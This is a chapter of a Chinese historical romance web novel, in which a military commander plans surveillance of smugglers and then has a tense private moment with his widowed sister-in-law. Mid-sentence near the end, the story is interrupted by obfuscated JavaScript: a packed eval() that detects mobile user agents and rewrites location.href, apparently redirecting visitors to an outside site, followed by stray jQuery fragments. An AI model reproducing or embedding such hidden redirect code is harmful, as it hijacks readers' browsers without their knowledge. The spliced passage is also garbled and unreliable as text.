李勇过来唤他去议事厅商议,临走前,周枭往卫瑜然的住处看了眼,淡淡馨香似乎还飘在空中,压下心中的杂念,面容凝重大步离开。 议事堂里,参谋和李勇都在。 路瞎子在密报上说,有个叫黄阳的匪寇和魏人联系甚密,榷场上是他们暗度陈仓的交易场所。 表面上用皮货摊贩当遮掩,实际上是双方通过黑话来确定硫磺和焰硝交易的价格和数量,至于魏人到底是谁,是不是魏国官方的人,还未得知。 李勇说:“榷场的皮货摊贩高达二十多个,具体是哪个皮货商恐怕难以确认。” 周枭坐在主座,看着密报上的信息,“除此之外,路瞎子有说具体交易时间?” 参谋说:“十天一次,距离上次过了七天。” 周枭看着密报沉思,很快就有了主意:“这三天让兄弟们乔装各种摊贩混迹其中,每两人盯一个皮货摊贩。” 只要有人有动静,就可以迅速锁定到底是哪个皮货摊贩参与其中,顺藤摸瓜揪出那个魏人是谁。 至于黄阳,周枭没听说过这个名字,许是平民落草为寇,也许是不知从哪个地方流窜而来,只能从知州那边调取相关档案,看看有没有关于这个人的记录。 - 敲定盯梢计划,周枭从议事堂出来,想起还未给卫瑜然买衣服的钱,便走向书房取了一些银两塞在腰间,转身前去竹轩居。 刚到竹轩居就看到卫瑜然主仆两人站在桌边。 “二少奶奶,汤炖好了,奴婢端一碗过去给周统制。” 卫瑜然伸手拦了下她,面带犹豫,“绿樱,你等等。” 绿樱疑惑:“怎么了,二少奶奶?” 卫瑜然往外看了下天色,这都天黑了,她还未领到银钱,也不知大哥议事结束没有。 其实一个时辰前,她去了一趟书房,却被告知周枭在议事堂忙公事,她不得不回来。 卫瑜然想到一个主意,眼神示意她过去,“你去一趟书房,看看人回来没有。” 若是回来了,她正好可以借这碗汤送过去,找人要钱。 绿樱大概猜到二少奶奶是想亲自送过去,二话不问转身去帮她看周统制回来没有,周枭本想叫住她,出声前又停了下来,干脆让她离开。 绿樱没发现他在另一条道上站着,径直往书房走去了,周枭目光扫过在夜色中亮着油灯的竹轩居。 明黄灯光绕着一两只小飞虫,庭院里槐树树荫婆娑,卫瑜然月白齐腰襦裙坐在桌前,两手肘轻抵桌面,面带忧思叠着手背撑下巴,出神看着面前的两碗汤,不知在想什么。 素手臂弯上挽着一条锦缎远山黛披帛,斜落在脚边,薄薄铺在地板上。 这一幕犹如少妇在等待丈夫归家,连一向冷清的竹轩居都不知不觉有了满室温馨的错觉。 周枭将这一幕收入眼底,喉咙微动,站在原地扫了眼四周,才迈步过去。 弟媳看到他忽然出现在眼前,果不其然露出诧异,她从凳子上站起。 “大哥,你怎么过来了?” 周枭从腰间将银钱掏出来,“我忘了给你银子,给你送过来。” 卫瑜然看着他掌心上躺着的白花花银钱,那么大的掌心是朝上向她张开,她不知想到什么,犹豫了会,到底还是伸手将他手里的银子都拿走。 指尖碰到他因习武而有些粗粝的掌心,这一刻她竟有一种只是大哥给妹妹例钱的错觉,而不是出于男人养女人的名义才给她钱。 但这个错觉刚冒出来,她就觉得可笑,处于下位的人如此幻想,和欺骗自己有什么区别?只会显得她可笑。 更何况,她是有丈夫的,虽说不幸去世,但身为寡妇对别的男人抱有乱七八糟的错觉,只会让她更加低贱。 思至此,卫瑜然敛了神色,挥散那些错觉,她出劳力帮他打理内宅,他给钱是天经地义。 等他娶了妻妾,她就不用与这个男人有过多接触。 卫瑜然将银钱收起来,瞥到桌上的两碗汤,“大哥,这是后厨煮出来的汤,你趁热喝了吧。” “好。”周枭不知她心中所想,只知道她主动从自己手里取钱,细腻似玉的手碰到掌心,这是她自愿的,主动的,没有夹杂一丝不情愿。 和那日她下马特意避开掌心,改握他手腕完全不一样,并没有避讳。 心情颇好撩起衣摆坐下,周枭看着还有另一碗汤,开口道:“你也坐下喝吧。” 卫瑜然正要端那碗汤到他面前,不料没注意到汤碗滚烫,刚捧起,便被烫到指尖,火一样的烧灼灼痛她指腹,下意识松手,短促啊了声。 汤碗跌落台面,晃出汤水,弄得到处脏污。 女人的裙裾被男人的衣袍下摆撞上,一双细白的手被人握住。 卫瑜然看着自己的手被一双大手紧紧握住,她直接愣住,忘了反应,连疼痛都忘记了。 “疼不疼?” 男人磁性的嗓音夹杂难以忽略的关心钻入耳内,好似有人在耳边过于亲昵耳语,卫瑜然的耳朵毫无察觉倏然泛红,她的神情仍是错愕的。 她似乎很不能理解为何身为夫君兄长的男人,居然对她流露出超越身份的关怀。 就在这时,一声“二少奶奶”,将她宕机的大脑骤然拉了回来,她想起她寡妇的身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13603747|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想起面前的男人是谁,是她亡夫的兄长。 卫瑜然神情变得不自然,快速将手从男人的掌心中抽离出来,与此同时后退一步,敛眸偷偷瞥了眼周枭空荡荡举在空中的手,没敢看他的脸色,她顾不了对方是否被自己下了脸面,她此刻只想和他保持距离。 稳了稳心神,随后望向绿樱的方向,察觉她即将过来,卫瑜然快步走过去,赶在绿樱看到周枭前,将她拦在门后。 “怎么样?”她努力保持着平日说话的语气。 绿樱摇头:“周统制不在书房里。” 卫瑜然怕她看到周枭方才和自己独处过,很快就想了一招将她支走,“那你再去议事堂看看。” 绿樱毫无所察,对于卫瑜然她自然是有求必应,“二少奶奶,那你再等一会,奴婢马上过去问问。” “嗯。”卫瑜然宽慰地看她离去,直到看不到绿樱背影,才松了口气。 但更棘手的事还在身后,等着她处理。 卫瑜然缓了口气,只能装作什么都没发生,回到屋里,语气颇为善解人意,“大哥,妾身看天色不早了,要不您先回去歇息?” 她看到周枭回头,神情复杂看着自己,过了很久才开口,不过并不是回应她的提议,而是问起她的伤势。 “不疼?” 卫瑜然眼睫颤了颤,轻缓地摇了摇头,“……不疼。” 话落,她觉得这话有些亲密了,她又加一句,“承蒙大哥关心,妾身没事。” 周枭听出她言语间疏离的态度,又想到方才她那生怕被丫鬟看到的慌张模样,好似他是什么见不得光的人,心中颇不是滋味。 卫瑜然怕绿樱回来撞见,始终提心吊胆,忍不住再一次提醒他,语气不自觉带上了催促:“大哥,天色不早了——” 话音未落,一道魁梧身影笼罩在她头上,卫瑜然下意识后退,周枭将她这个反应收入眼底,眼神骤然阴沉下来,胸腔瞬间翻腾起一股火,迈步逼近。 卫瑜然察觉他在生气,生很大的气,想起那次宴席,也是这样愠怒,甚至更甚,到底还是怕他对自己做出什么过分的事,卫瑜然本能地后退,直到脊背碰上角落,退无可退—— 她神色慌乱望进男人阴霾的眼,攥紧手帕,“大哥……我是你——” “弟媳”二字还没来得及说出口,就被人打断。 “我周枭就这么见不得人?” 不碰他的手心,只碰手腕,不想主动给他缝衣服,却可以为了一个浣衣妇而缝一下午,不戴他送的白玉北珠簪,只愿戴二弟送的银鎏金并头花簪,不想量他的尺寸,量时又始终抱着疏离和怀疑。 而现在,他竟然连她的丫鬟都见不得!